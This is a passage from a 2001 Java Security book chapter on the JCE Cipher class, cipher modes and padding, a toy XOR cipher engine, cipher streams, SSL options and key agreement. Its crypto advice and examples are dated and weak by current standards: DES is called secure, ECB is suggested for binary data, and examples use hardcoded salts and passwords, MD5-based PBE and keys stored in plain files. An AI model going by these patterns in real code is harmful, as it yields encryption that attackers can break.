Perform encryption and decryption of arbitrary data, using (potentially) a wide array of encryption algorithms.

Like all security engines, the cipher engine implements named algorithms. However, the naming convention for the cipher engine is different, in that cipher algorithms are compound names that can include the name of the algorithm along with the name of a padding scheme and the name of a mode. Padding schemes and modes are specified by names--just like algorithms. In theory, just as you may pick a new name for an algorithm, you may specify new names for a padding scheme or a mode, although the SunJCE security provider specifies several standard ones.

Modes and padding schemes are present in the Cipher class because that class implements what is known as a block cipher; that is, it expects to operate on data one block (e.g., 8 bytes) at a time. Padding schemes are required in order to ensure that the length of the data is an integral number of blocks.

Modes are provided to further alter the encrypted data in an attempt to make it harder to break the encryption. For example, if the data to be encrypted contains a number of similar patterns--repeated names, or header/footer information, for example--any patterns in the resulting data may aid in breaking the encryption. Different modes of encrypting data help prevent these sorts of attacks. Depending upon the mode used by a cipher, it may need to be initialized in a special manner when the cipher is used for decryption. Some modes require initialization via an initialization vector.

Modes also enable a block cipher to behave as a stream cipher; that is, instead of requiring a large, 8-byte chunk of data to operate upon, a mode may allow data to be processed in smaller quantities. So modes are very important in stream-based operations, where data may need to be transmitted one or two characters at a time.

The modes specified by the SunJCE security provider are:

ECB

This is the electronic cookbook mode. ECB is the simplest of all modes; it takes a simple block of data (8 bytes in the SunJCE implementation, which is standard) and encrypts the entire block at once. No attempt is made to hide patterns in the data, and the blocks may be rearranged without affecting decryption (though the resulting plaintext will be out of order). Because of these limitations, ECB is recommended only for binary data; text or other data with patterns in it is not well-suited for this mode.

ECB mode can only operate on full blocks of data, so it is generally used with a padding scheme.

ECB mode does not require an initialization vector.

CBC

This is the cipher block chaining mode. In this mode, input from one block of data is used to modify the encryption of the next block of data; this helps to hide patterns (although data that contains identical initial text--such as mail messages--will still show an initial pattern). As a result, this mode is suitable for text data.

CBC mode can only operate on full blocks of data (8-byte blocks in the SunJCE implementation), so it is generally used with a padding scheme.

CBC mode requires an initialization vector for decryption.

CFB

This is thecipher-feedback mode. This mode is very similar to CBC, but its internal implementation is slightly different. CBC requires a full block (8 bytes) of data to begin its encryption, while CFB can begin encryption with a smaller amount of data. So this mode is suitable for encrypting text, especially when that text may need to be processed a character at a time. By default, CFB mode operates on 8-byte (64-bit) blocks, but you may append a number of bits after CFB (e.g., CFB8) to specify a different number of bits on which the mode should operate. This number must be a multiple of 8.

CFB requires that the data be padded so that it fills a complete block. Since that size may vary, the padding scheme that is used with it must vary as well. For CFB8, no padding is required, since data is always fed in an integral number of bytes.

CFB mode requires an initialization vector for decryption.

OFB

This is the output-feedback mode. This mode is also suitable for text; it is used most often when there is a possibility that bits of the encrypted data may be altered in transit (e.g., over a noisy modem). While a 1-bit error would cause an entire block of data to be lost in the other modes, it only causes a loss of 1 bit in this mode. By default, OFB mode operates on 8-byte (64-bit) blocks, but you may append a number of bits after OFB (e.g., OFB8) to specify a different number of bits on which the mode should operate. This number must be a multiple of 8.

OFB requires that the data be padded so that it fills a complete block. Since that size may vary, the padding scheme that is used with it must vary as well. For OFB8, no padding is required, since data is always fed in an integral number of bytes.

OFB mode requires an initialization vector for decryption.

PCBC

This is the propagating cipher block chaining mode. This mode is popular in a particular system known as Kerberos; if you need to speak to a Kerberos version 4 system, this is the mode to use. However, this mode has some known methods of attack, and Kerberos version 5 has switched to using CBC mode. Hence, PCBC mode is no longer recommended.

PCBC mode requires that the input be padded to a multiple of 8 bytes.

PCBC mode requires an initialization vector for decryption.

The padding schemes specified by the SunJCE security provider are:

PKCS5Padding

This padding scheme ensures that the input data is padded to a multiple of 8 bytes.

NoPadding

When this scheme is specified, no padding of input is done. In this case, the number of input bytes presented to the encryption cipher must be a multiple of the block size of the cipher; otherwise, when the cipher attempts to encrypt or decrypt the data, it generates an error.

Remember that these uses of mode and padding are specific to the SunJCE security provider. The modes and padding schemes are based upon accepted standards and are thus likely to be implemented in this manner by third-party security providers as well, but you should check your third-party provider documentation to be sure.

The mode and padding scheme specified for decryption must match the mode and padding scheme specified for encryption, or the decryption will fail.

13.5.1. Using the Cipher Class

In order to obtain an instance of the Cipher class, we call one of these methods:

public static Cipher getInstance(String algorithmName)
public static Cipher getInstance(String algorithmName, String provider)

Obtain a cipher engine that can perform encryption and decryption by implementing the named algorithm. The engine is provided by the given security provider, or the list of installed security providers is searched for an appropriate engine.

If an implementation of the given algorithm cannot be found, a NoSuchAlgorithmException is thrown. If the named provider cannot be found, a NoSuchProviderException is thrown.

The algorithm name passed to the getInstance() method may either be a simple algorithm name (e.g., DES), or it may be an algorithm name that specifies a mode and padding in this format: algorithm/mode/padding (e.g., DES/ECB/PKCS5Padding). If the mode and padding are not specified, they default to an implementation-specific value; in the SunJCE security provider, the mode defaults to ECB and padding defaults to PKCS5.

Once you've obtained a cipher object, you must initialize it. An object can be initialized for encryption or decryption, but in either case, you must provide a key. If the algorithm is a symmetric cipher, you should provide a secret key; otherwise, you should provide a public key to encrypt data and a private key to decrypt data (in fact, the key must match the algorithm type: a DES cipher must use a DES key, and so on). Initialization is achieved with one of these methods:

public final void init(int op, Key k)
public final void init(int op, Key k, AlgorithmParameterSpec aps)
public final void init(int op, Key k, AlgorithmParameterSpec aps, SecureRandom sr)
public final void init(int op, Key k, SecureRandom sr)
public final void init(int op, Key k, AlgorithmParameters ap)
public final void init(int op, Key k, AlgorithmParameters ap, SecureRandom sr)

Initialize the cipher to encrypt or decrypt data. If op is Cipher.ENCRYPT_MODE, the cipher is initialized to encrypt data; if op is Cipher.DECRYPT_MODE, the cipher is initialized to decrypt data. (In practice, other values will initialize the cipher for encryption rather than generating an exception; this is arguably a bug in the early-access implementation of the JCE.)

These calls reset the engine to an initial state, discarding any previous data that may have been fed to the engine. Hence, a single cipher object can be used to encrypt data and then later to decrypt data.

Many algorithm modes we discussed earlier require an initialization vector to be specified when the cipher is initialized for decrypting. In these cases, the initialization vector must be passed to the init() method within the algorithm parameter specification or algorithm parameters; the IvParameterSpec class is typically used to do this for DES encryption.

In the SunJCE security provider, specifying an initialization vector for a mode that does not support it will eventually lead to a NullPointerException. Failure to specify an initialization vector for a mode that requires one will generate incorrect decrypted data.

After an engine has been initialized, it must be fed data. There are two sets of methods to accomplish this. The first set can be used any number of times:

public final byte[] update(byte[] input)
public final byte[] update(byte[] input, int offset, int length)
public final int update(byte[] input, int offset, int length, byte[] output)
public final int update(byte[] input, int offset, int length, byte[] output, int outOffset)

Encrypt or decrypt the data in the input array (starting at the given offset for the given length, if applicable). The resulting data is either placed in the given output array (in which case the size of the output data is returned) or returned in a new array. If the cipher has not been initialized, an IllegalStateException is thrown.

If the length of the data passed to this method is not an integral number of blocks, any extra data is buffered internally within the cipher engine; the next call to an update() or doFinal() method processes that buffered data as well as any new data that is just being provided.

If the given output buffer is too small to hold the data, a ShortBufferException is thrown. The required size of the output buffer can be obtained from the getOutputSize() method. A ShortBufferException does not clear the state of the cipher: any buffered data is still held, and the call can be repeated (with a correctly sized buffer) with no ill effects.

This second set of methods should only be called once:

public final byte[] doFinal()
public final int doFinal(byte[] output, int offset)
public final byte[] doFinal(byte[] input)
public final byte[] doFinal(byte[] input, int offset, int length)
public final int doFinal(byte[] input, int offset, int length, byte[] output)
public final int doFinal(byte[] input, int offset, int length, byte[] output, int outOffset)

Encrypt or decrypt the data in the input array as well as any data that has been previously buffered in the cipher engine. This method behaves exactly the same as the update() method, except that this method signals that all data has been fed to the engine. If the engine is performing padding, the padding scheme will be used to process the pad bytes (i.e., add padding bytes for encryption and remove padding bytes for decryption). If the cipher engine is not performing padding and the total of all processed data is not a multiple of the mode's block size, an IllegalBlockSizeException is thrown.

These methods throw an IllegalStateException or a ShortBufferException in the same circumstances as the update() methods.

In order to initialize some ciphers for decryption, you need to specify an initialization vector; this initialization vector must be the same vector that was used when the cipher was initialized for encryption. For encryption, you may specify the initialization vector, or you may use a system-provided initialization vector. In order to retrieve this vector for later use (e.g., to send it to someone who will eventually need to decrypt the data), you may use this method:

public final byte[] getIV()

Return the initialization vector that was used to initialize this cipher. If a system-provided initialization vector is used, that vector is not available until after the first call to an update() or doFinal() method.

In order to preallocate an output buffer for use in the update() and doFinal() methods, you must know its size, which is returned from this method:

public final int getOutputSize(int inputLength)

Return the output size for the next call to the update() or doFinal() methods, assuming that one of those methods is called with the specified amount of data. Note that the size returned from this call includes any possible padding that the doFinal() method might add. A call to the update() method may actually generate less data than this method would indicate, because it will not create any padding.

Finally, there are two miscellaneous methods of this class:

public final Provider getProvider()

Return the provider class that defined this engine.

public final int getBlockSize()

Get the block size of the mode of the algorithm that this cipher implements.

Let's put this all together into a simple example:

Class Definition

public class CipherTest {
    public static void main(String args[]) {
        try {
            KeyGenerator kg = KeyGenerator.getInstance("DES");
            Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");
            Key key = kg.generateKey();

            c.init(Cipher.ENCRYPT_MODE, key);
            byte input[] = "Stand and unfold yourself".getBytes();
            byte encrypted[] = c.doFinal(input);
            byte iv[] = c.getIV();

            IvParameterSpec dps = new IvParameterSpec(iv);
            c.init(Cipher.DECRYPT_MODE, key, dps);
            byte output[] = c.doFinal(encrypted);
            System.out.println("The string was ");
            System.out.println(new String(output));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

We've reused the single engine object to perform both the encryption and the decryption. Since DES is a symmetric encryption algorithm, we generated a single key that is used for both operations. Within the try block, the second block of code performs the encryption:

  1. We initialize the cipher engine for encrypting.

  2. We pass the bytes we want to encrypt to the doFinal() method. Of course, we might have had any number of calls to the update() method preceding this call, with data in any arbitrary amounts. Since we've specified a padding scheme, we don't have to worry about the size of the data we pass to the doFinal() method.

  3. Finally, we save the initialization vector the system provided to perform the encryption. Note that this step would not be needed for ECB mode.

Performing the decryption is similar:

Performing the decryption is similar:

  1. First, we initialize the cipher engine for decrypting. In this case, however, we must provide an initialization vector to initialize the engine in order to get the correct results (again, this would be unnecessary for ECB mode).

  2. Next, we pass the encrypted data to the doFinal() method. Again, we might have had multiple calls to the update() method first.

In typical usage, of course, encryption is done in one program and decryption is done in another program. In the example above, this entails that the initialization vector and the encrypted data must be transmitted to a receiver; this may be done via a socket or a file or any other convenient means. There is no security risk in transmitting the initialization vector, as it has the same properties as the rest of the encrypted data.

In this example, we used the PKCS5 padding scheme to provide the necessary padding. This is by far the simplest way. If you want to do your own padding--if, for example, you're using a CFB32 mode for some reason--you need to do something like this:

Class Definition

Cipher c = Cipher.getInstance("DES/CFB32/NoPadding");
c.init(Cipher.ENCRYPT_MODE, desKey);
int blockSize = c.getBlockSize();
byte b[] = "This string has an odd length".getBytes();
byte padded[] = new byte[b.length + blockSize -(b.length % blockSize)];
System.arraycopy(b, 0, padded, 0, b.length);
for (int i = 0; i < blockSize - (b.length % blockSize); i++)
    padded[b.length + i] = 0;
byte output[] = c.doFinal(padded);

The problem with this code is that when the data is decrypted, there is no indication of how many bytes should be discarded as padding. PKCS5 and other padding schemes solve this problem by encoding that information into the padding itself.

The NullCipher Class

The JCE includes one subclass of the Cipher class: the NullCipher class (javax.crypto.NullCipher). This class performs no encryption. Data passes through the null cipher unchanged, and no padding or blocking is performed (the getBlockSize() method will return 1). Unlike a traditional cipher engine, instances of the NullCipher class must be constructed directly:

Class Definition

Cipher c = new NullCipher();

This class can be used to test the logic of your program without actually encrypting or decrypting the data.

13.5.2. Cipher Algorithms

The SunJCEsecurity provider supports three cipher algorithms:

  • DES, the Data Encryption Standard algorithm, a standard that has been adopted by various organizations, including the U.S. government. There are known ways to attack this encryption, though they require a lot of computing power to do so; despite widespread predictions about the demise of DES, it continues to be used in many applications and is generally considered secure. The examples in this chapter are mostly based on DES encryption.

  • DESede, also known as triple-DES or multiple-DES. This algorithm uses multiple DES keys to perform three rounds of DES encryption or decryption; the added complexity greatly increases the amount of time required to break the encryption. It also greatly increases the amount of time required to encrypt and to decrypt the data.

    From a developer's perspective, DESede is equivalent to DES; only the algorithm name passed to the key generator and cipher engines is different. Although DESede requires multiple keys, these keys are encoded into a single secret key. Hence, the programming steps required to use DESede are identical to the steps required to use DES.

  • PBEWithMD5AndDES, the password-based encryption defined in PKCS#5. This algorithm entails using a password, a byte array known as salt, and an iteration count along with an MD5 message digest to produce a DES secret key; this key is then used to perform DES encryption or decryption. PKCS#5 was developed by RSA Data Security, Inc., primarily to encrypt private keys, although it may be used to encrypt any arbitrary data.

    From a developer's perspective, this algorithm requires some special programming to obtain the key. A password-based cipher cannot be initialized without special data that is passed via the algorithm specification. This data is known as the salt and iteration count. Hence, a password-based cipher is initialized as follows:

    Class Definition

    String password = "Come you spirits that tend on mortal thoughts";
byte[] salt = { (byte) 0xc9, (byte) 0x36, (byte) 0x78, (byte) 0x99,
                (byte) 0x52, (byte) 0x3e, (byte) 0xea, (byte) 0xf2 };
PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 20);
PBEKeySpec keySpec = new PBEKeySpec(password);
SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
SecretKey key = kf.generateSecret(keySpec);
Cipher c = Cipher.getInstance("PBEWithMD5AndDES");
c.init(Cipher.ENCRYPT_MODE, key, paramSpec);

    The rationale behind this system is that it allows the password to be shared verbally (or otherwise) between participants in the cipher; rather than coding the password as we've done above, the user would presumably enter the password. Since these types of passwords are often easy to guess (a string comparison of the above password against the collected works of Shakespeare would guess the password quite easily, despite its length), the iteration and salt provide a means to massage the password into something more secure. The salt itself should be random, and the higher the iteration count, the more expensive a brute-force attack against the key becomes (though it also takes longer to generate the key itself).

    Of course, despite the presence of the salt and iteration, the password chosen in the method should not be easy to guess in the first place: it should contain special characters, not be known quotes from literature, and follow all the other usual rules that apply to selecting a passwor d.

13.5.3. Implementing the Cipher Class

As in all 1.2-based engines, the SPI for the Cipher class is a separate class: the CipherSpi class (javax.crypto.CipherSpi):

public abstract class CipherSpi

The SPI for the Cipher class. This class is responsible for performing the encryption or decryption according to its internal algorithm. Support for various modes or padding schemes must be handled by this class as well.

There is very little intelligence in the Cipher class itself; virtually all of its methods are simply passthough calls to corresponding methods in the SPI. The one exception to this is the getInstance() method, which is responsible for parsing the algorithm string and removing the mode and padding strings if present. If it finds a mode and padding specification, it calls these methods of the SPI:

public abstract void engineSetMode(String s)

Set the mode of the cipher engine according to the specified string. If the given mode is not supported by this cipher, a NoSuchAlgorithmException should be thrown.

public abstract void engineSetPadding(String s)

Set the padding scheme of the cipher engine according to the specified string. If the given padding scheme is not supported by this cipher, a NoSuchPaddingException should be thrown.

Remember that the mode and padding strings we looked at earlier are specific to the implementation of the SunJCE security provider. Hence, while ECB is a common mode specification, it is completely at the discretion of your implementation whether that string should be recognized or not. If you choose to implement a common mode, it is recommended that you use the standard strings, but you may use any naming convention that you find attractive. The same is true of padding schemes.

Complicating this matter is the fact that there are no classes in the JCE that assist you with implementing any mode or padding scheme. So if you need to support a mode or padding scheme, you must write the required code from scratch.

The remaining methods of the SPI are all called directly from the corresponding methods of the Cipher class:

public abstract int engineGetBlockSize()

Return the number of bytes that comprise a block for this engine. Unless the cipher is capable of performing padding, input data for this engine must total a multiple of this block size (though individual calls to the update() method do not necessarily have to provide data in block-sized chunks).

public abstract byte[] engineGetIV()

Return the initialization vector that was used to initialize the cipher. If the cipher was in a mode where no initialization vector was required, this method should return null.

public abstract int engineGetOutputSize(int inputSize)

Return the number of bytes that the cipher will produce if the given amount of data is fed to the cipher. This method should take into account any data that is presently being buffered by the cipher as well as any padding that may need to be added if the cipher is performing padding.

public void engineInit(int op, Key key, SecureRandom sr)
public void engineInit(int op, Key key, AlgorithmParameterSpec aps, SecureRandom sr)
public void engineInit(int op, Key key, AlgorithmParameters ap, SecureRandom sr)

Initialize the cipher based on the op, which will be either Cipher.ENCRYPT_MODE or Cipher.DECRYPT_MODE. This method should ensure that the key is of the correct type and throw an InvalidKeyException if it is not (or if it is otherwise invalid), and use the given random number generator (and algorithm parameters, if applicable) to initialize its internal state. If algorithm parameters are provided but not supported or are otherwise invalid, this method should throw an InvalidAlgorithmParameterException.

public abstract byte[] engineUpdate(int input[], int offset, int len)
public abstract int engineUpdate(int input[], int offset, int len, byte[] output, int outOff)

Encrypt or decrypt the input data. The data that is passed to these methods will is not necessarily an integral number of blocks. It is the responsibility of these methods to process as much of the input data as possible and to buffer the remaining data internally. Upon the next call to an engineUpdate() or engineDoFinal() method, this buffered data must be processed first, followed by the input data of that method (and again leaving any leftover data in an internal buffer).

public abstract byte[] engineDoFinal(int input[], int offset, int len)
public abstract int engineDoFinal(int input[], int offset, int len, byte[] output, int outOff)

Encrypt or decrypt the input data. Like the update() method, this method must consume any buffered data before processing the input data. However, since this is the final set of data to be processed, this method must make sure that the total amount of data has been an integral number of blocks; it should not leave any data in its internal buffers.

If the cipher supports padding (and padding was requested through the engineSetPadding() method), this method should perform the required padding; an error in padding should cause a BadPaddingException to be thrown. Otherwise, if padding is not being performed and the total amount of data has not been an integral number of blocks, this method should throw an IllegalBlockSizeException.

Using our typical XOR strategy of encryption, here's a simple implementation of a cipher engine:

Class Definition

public class XORCipher extends CipherSpi {
    byte xorByte;

    public void engineInit(int i, Key k, SecureRandom sr)
                        throws InvalidKeyException {
        if (!(k instanceof XORKey))
            throw new InvalidKeyException("XOR requires an XOR key");
        xorByte = k.getEncoded()[0];
    }

    public void engineInit(int i, Key k, AlgorithmParameterSpec aps,
                    SecureRandom sr) throws InvalidKeyException,
                            InvalidAlgorithmParameterException {
        throw new InvalidAlgorithmParameterException(
            "Algorithm parameters not supported in this class");
    }

    public void engineInit(int i, Key k, AlgorithmParameters ap,
            SecureRandom sr) throws InvalidKeyException,
            InvalidAlgorithmParameterException {
        throw new InvalidAlgorithmParameterException(
            "Algorithm parameters not supported in this class");
    }

    public byte[] engineUpdate(byte in[], int off, int len) {
        return engineDoFinal(in, off, len);
    }

    public int engineUpdate(byte in[], int inoff, int length,
                            byte out[], int outoff) {
        for (int i = 0; i < length; i++)
            out[outoff + i] = (byte) (in[inoff + i] ^ xorByte);
        return length;
    }

    public byte[] engineDoFinal(byte in[], int off, int len) {
        byte out[] = new byte[len - off];
        engineUpdate(in, off, len, out, 0);
        return out;
    }

    public int engineDoFinal(byte in[], int inoff, int len,
                                byte out[], int outoff) {
        return engineUpdate(in, inoff, len, out, outoff);
    }

    public int engineGetBlockSize() {
        return 1;
    }

    public byte[] engineGetIV() {
        return null;
    }

    public int engineGetOutputSize(int sz) {
        return sz;
    }

    public void engineSetMode(String s)
                        throws NoSuchAlgorithmException {
        throw new NoSuchAlgorithmException("Unsupported mode " + s);
    }

    public void engineSetPadding(String s)
                        throws NoSuchPaddingException {
        throw new NoSuchPaddingException("Unsupported padding " + s);
    }
}

The bulk of the work of any cipher engine will be in the engineUpdate() method, which is responsible for actually providing the ciphertext or plaintext. In this case, we've simply XORed the key value with every byte, a process that works both for encryption as well as decryption. Because the work done by the engineUpdate() method is so symmetric, we don't need to keep track internally of whether we're encrypting or decrypting; for us, the work is always the same. For some algorithms, you may need to keep track of the state of the cipher by setting an internal variable when the engineInit() method is called.

Similarly, because we can operate on individual bytes at a time, we didn't have to worry about padding and buffering internal data. Such an extension is easy, using the code we showed earlier that uses the modulus operator to group the input arrays into blocks.

To use this class, we would need to add these two lines to the XYZProvider class we developed in Chapter 8, "Security Providers":

Class Definition

put("Cipher.XOR", "XORCipher");
put("KeyGenerator.XOR", "XORKeyGenerator");

Then it is a simple matter of installing the XOR security provider and getting an instance of this cipher engine:

Class Definition

Security.addProvider(new XYZProvider());
KeyGenerator kg = KeyGenerator.getInstance("XOR");
Cipher c = Cipher.getInstance("XOR");

Note that "XOR" is the only valid algorithm name for this implementation since we do not support any modes or padding schemes.

Previous | Home | Next
13.4. Secret Key Engines | Book Index | 13.6. Cipher Streams
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cipher Streams (Java Security)

 Java Security Search this book

13.6. Cipher Streams

In the Cipher class we just examined, we had to provide the data to be encrypted or decrypted as multiple blocks of data. This is not necessarily the best interface for programmers: what if we want to send and receive arbitrary streams of data over the network? It would often be inconvenient to get all the data into buffers before it can be encrypted or decrypted.

The solution to this problem is the ability to associate a cipher object with an input or output stream. When data is written to such an output stream, it is automatically encrypted, and when data is read from such an input stream, it is automatically decrypted. This allows a developer to use Java's normal semantics of nested filter streams to send and receive encrypted data.

13.6.1. The CipherOutputStream Class

The class that encrypts data on output to a stream is the CipherOutputStream class (javax.crypto.CipherOutputStream):

public class CipherOutputStream extends FilterOutputStream

Provide a class that will encrypt data as it is written to the underlying stream.

Like all classes that extend the FilterOutputStream class, constructing a cipher output stream requires that an existing output stream has already been created. This allows us to use the existing output stream from a socket or a file as the destination stream for the encrypted data:

public CipherOutputStream(OutputStream outputStream, Cipher cipher)

Create a cipher output stream, associating the given cipher object with the existing output stream. The given cipher must already have been initialized, or an IllegalStateException will be thrown.

The output stream may be operated on with any of the methods from the FilterOutputStream class--the write() methods, the flush() method, and the close() method, which all provide the semantics you would expect. Often, of course, these methods are never used directly--for example, if you're sending text data over a socket, you'll wrap a cipher output stream around the socket's output stream, but then you'll wrap a print writer around that; the programming interface then becomes a series of calls to the print() and println() methods. You can use any similar output stream to get a different interface.

It does not matter if the cipher object that was passed to the constructor does automatic padding or not--the CipherOutputStream class itself does not make that restriction. As a practical matter, however, you'll want to use a padding cipher object, since otherwise you'll be responsible for keeping track of the amount of data passed to the output stream and tacking on your own padding.

Usually, the better alternative is to use a byte-oriented mode such as CFB8. This is particularly true in streams that are going to be used conversationally: a message is sent, a response received, and then another message is sent, etc. In this case, you want to make sure that the entire message is sent; you cannot allow the cipher to buffer any data internally while it waits for a full block to arrive. And, for reasons we're just about to describe, you cannot call the flush() method in this case either. Hence, you need to use a streaming cipher (or, technically, a block cipher in streaming mode) in this case.

When the flush() method is called on a CipherOutputStream (either directly, or because the stream is being closed), the padding of the stream comes into play. If the cipher is automatically padding, the padding bytes are generated in the flush() method. If the cipher is not automatically padding and the number of bytes that have been sent through the stream is not a multiple of the cipher's block size, then the flush() method (or indirectly the close() method) throws an IllegalBlockSizeException (note that this requires that the IllegalBlockSizeException be a runtime exception).

If the cipher is performing padding, it is very important not to call the flush() method unless it is immediately followed by a call to the close() method. If the flush() method is called in the middle of processing data, padding is added in the middle of the data. This means the data does not decrypt correctly. Remember that certain output streams (especially some types of PrintWriter streams) flush automatically; if you're using a padding cipher, don't use one of those output streams.

We can use this class to write some encrypted data to a file like this:

Class Definition

public class Send {
    public static void main(String args[]) {
        try {
            KeyGenerator kg = KeyGenerator.getInstance("DES");
            kg.init(new SecureRandom());
            SecretKey key = kg.generateKey();
            SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
            Class spec = Class.forName("javax.crypto.spec.DESKeySpec");
            DESKeySpec ks = (DESKeySpec) skf.getKeySpec(key, spec);
            ObjectOutputStream oos = new ObjectOutputStream(
                        new FileOutputStream("keyfile"));
            oos.writeObject(ks.getKey());

            Cipher c = Cipher.getInstance("DES/CFB8/NoPadding");
            c.init(Cipher.ENCRYPT_MODE, key);
            CipherOutputStream cos = new CipherOutputStream(
                        new FileOutputStream("ciphertext"), c);
            PrintWriter pw = new PrintWriter(
                        new OutputStreamWriter(cos));
            pw.println("Stand and unfold yourself");
            pw.close();
            oos.writeObject(c.getIV());
            oos.close();
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

There are two steps involved here. First, we must create the cipher object, which means that we must have a secret key available. The problem of secret key management is a hard one to solve; we'll discuss it a little farther along. For now, we're just going to save the key object to a file that can later be read by whomever needs the key. Note that we've gone through the usual steps of writing the data produced by the secret key factory so that the recipient of the key need not use the same provider we use.

After we generate the key, we must create the cipher object, initialize it with that key, and then use that cipher object to construct our output stream. Once the data is sent to the stream, we close the stream, which flushes the cipher object, performs any necessary padding, and completes the encryption.

In this case, we've chosen to use CFB8 mode, so there is no need for padding. But in general, this last step is important: if we don't explicitly close the PrintWriter stream, when the program exits, data that is buffered in the cipher object itself will not get flushed to the file. The resulting encrypted file will be unreadable, as it won't have the correct amount of data in its last block.[2]

[2]Closing the output stream is necessary whenever the stream performs buffering, but it is particularly important to remember in this context.

13.6.2. The CipherInputStream Class

The output stream is only half the battle; in order to read that data, we must use the CipherInputStream class (javax.crypto.CipherInputStream):

public class CipherInputStream extends FilterInputStream

Create a filter stream capable of decrypting data as it is read from the underlying input stream.

A cipher input stream is constructed with this method:

public CipherInputStream(InputStream is, Cipher c)

Create a cipher input stream that associates the existing input stream with the given cipher. The cipher must previously have been initialized.

All the points we made about the CipherOutputStream class are equally valid for the CipherInputStream class. You can operate on it with any of the methods in its superclass, although you'll typically want to wrap it in something like a buffered reader, and the cipher object that is associated with the input stream needs to perform automatic padding or use a mode that does not require padding (in fact, it must use the same padding scheme and mode that the output stream that is sending it data used).

The CipherInputStream class does not directly support the notion of a mark. The markSupported() method returns false unless you've wrapped the cipher input stream around another class that supports a mark.

Here's how we could read the data file that we created above:

Class Definition

public class Receive {
    public static void main(String args[]) {
        try {
            ObjectInputStream ois = new ObjectInputStream(
                        new FileInputStream("keyfile"));
            DESKeySpec ks = new DESKeySpec((byte[]) ois.readObject());
            SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
            SecretKey key = skf.generateSecret(ks);

            Cipher c = Cipher.getInstance("DES/CFB8/NoPadding");
            c.init(Cipher.DECRYPT_MODE, key,
            newIvParameterSpec((byte[]) ois.readObject());
            CipherInputStream cis = new CipherInputStream(
                        new FileInputStream("ciphertext"), c);
            cis.read(new byte[8]);
            BufferedReader br = new BufferedReader(
                        new InputStreamReader(cis));
            System.out.println("Got message");
            System.out.println(br.readLine());
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

In this case, we must first read the secret key from the file where it was saved, and then create the cipher object initialized with that key. Then we can create our input stream and read the data from the stream, automatically decrypting it as it goes.

13.6.3. SSL Encryption

In the world of the Internet, data encryption is often achieved with SSL--the Secure Socket Layer protocol. These sockets use encryption to encrypt data as it is written to the socket and to decrypt that data as it is read from the socket.

SSL encryption is built into many popular web browsers and web servers; these programs depend on SSL to provide the necessary encryption to implement the https protocol. For Java applet developers who want to use SSL, there are three options:

  1. Use the URL class.

    The URL class can be used to open a URL that the applet can read data from. If the URL is a POST URL, the applet can send some initial data before it reads the data. On browsers that will support it, you can specify an https protocol when the URL is constructed, in which case the data exchanged by the applet and the remote web server will be encrypted. Note that this is not supported by the JDK itself.

    There are a few limitations with this method. First, the data exchange is limited to the web server and the applet using the single request-response protocol of HTTP. Data cannot be streamed in this way, and you must write an appropriate back-end cgi-bin script, servlet, or other program to process the data. Second, not all browsers support the https protocol, and those that do support https may not support a Java applet opening an https URL. On the other hand, this will tunnel data through a firewall, which is one of the main reasons why it is used.

  2. Use an SSLSocket class.

    There are a number of vendors who supply SSLSocket and SSLServerSocket classes that extend the Socket and ServerSocket classes; these classes provide all the semantics of their java.net counterparts with the additional feature that the data they exchange is encrypted with the SSL algorithm.

    These classes are generally subject to import and export restrictions; in particular, Sun's SSLSocket and SSLServerSocket classes (which come with the Java Server product) cannot be exported, and certain countries will not allow these implementations to be imported. There are SSL implementations that have been written outside the United States, so they have fewer restrictions (but they may contain implementations of RSA that may not be used within the United States).

  3. Use an RSA-based security provider.

    The Cipher class that we examined above has the ability to support RSA encryption. Many third-party security providers will have RSA implementations; some of these are listed in Appendix C, "Security Resources".

For now, none of these solutions is completely attractive. The technique of using URLs is well known and demonstrated in any book on Java network programming, but suffers from the limitations we discussed above. The SSL-based Socket classes have a known interface and are simple to use, but suffer from availability questions (although no more than the JCE itself).

Previous | Home | Next
13.5. Encrypting Data | Book Index | 13.7. Symmetric Key Agreement
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Symmetric Key Agreement (Java Security)

 Java Security Search this book

13.7. Symmetric Key Agreement

When we discussed public and private key pairs, we talked about the bootstrapping issue involved with key distribution: the problem of obtaining the public key of a trusted certificate authority. In the case of key pairs, keeping the private key secret is of paramount importance. Anyone with access to the private key will be able to sign documents as the owner of the private key; he or she will also be able to decrypt data that is intended for the owner of the private key. Keeping the private key secret is made easier because both parties involved in the cryptographic transfer do not need to use it.

With the symmetric key we introduced in this chapter, however, the bootstrapping issue is even harder to solve because both parties need access to the same key. The question then becomes how this key can be transmitted securely between the two parties in such a way that only those parties have access to the key.

One technique to do this is to use traditional (i.e., nonelectronic) means to distribute the key. The key could be put onto a floppy disk, for example, and then mailed or otherwise distributed to the parties involved in the encryption. Or the key could be distributed in paper format, requiring the recipient of the key to type in the long string of hex digits (the password-based encryption algorithm makes this easier, of course). This is the type of technique we used in the section on cipher data streams. In those examples, the key was saved in a file that was created when the ciphertext was generated (although the key could have been pregenerated, and the Send class could have also read it from a file).

Another technique is to use public key/private key encryption to encrypt the symmetric key, and then to send the encrypted key over the network. This allows the key to be sent electronically and then to be used to set up the desired cipher engine. This is a particularly attractive option, because symmetric encryption is usually much faster than public key encryption. You can use the slower encryption to send the secret key, and then use the faster encryption for the rest of your data. This option requires that your security provider implement a form of public key encryption (which the SunJCE security provider does not).

The final option is to use a key agreement algorithm. Key agreement algorithms exchange some public information between two parties so they each can calculate a shared secret key. However, they do not exchange enough information that eavesdroppers on the conversation can calculate the same shared key.

In the JCE, these algorithms are represented by the KeyAgreement class (javax.crypto.KeyAgreement):

public class KeyAgreement

Provide an engine for the implementation of a key agreement algorithm. This class allows for two cooperating parties to generate the same secret key while preventing parties unrelated to the agreement from generating the same key.

As an engine class, this class has no constructors, but it has the usual method to retrieve instances of the class:

public final KeyAgreement getInstance(String algorithm)
public final KeyAgreement getInstance(String algorithm, String provider)

Return an instance of the KeyAgreement class that implements the given algorithm, loaded either from the standard set of providers or from the named provider. If no suitable class that implements the algorithm can be found, a NoSuchAlgorithmException is generated; if the given provider cannot be found, a NoSuchProviderException is generated.

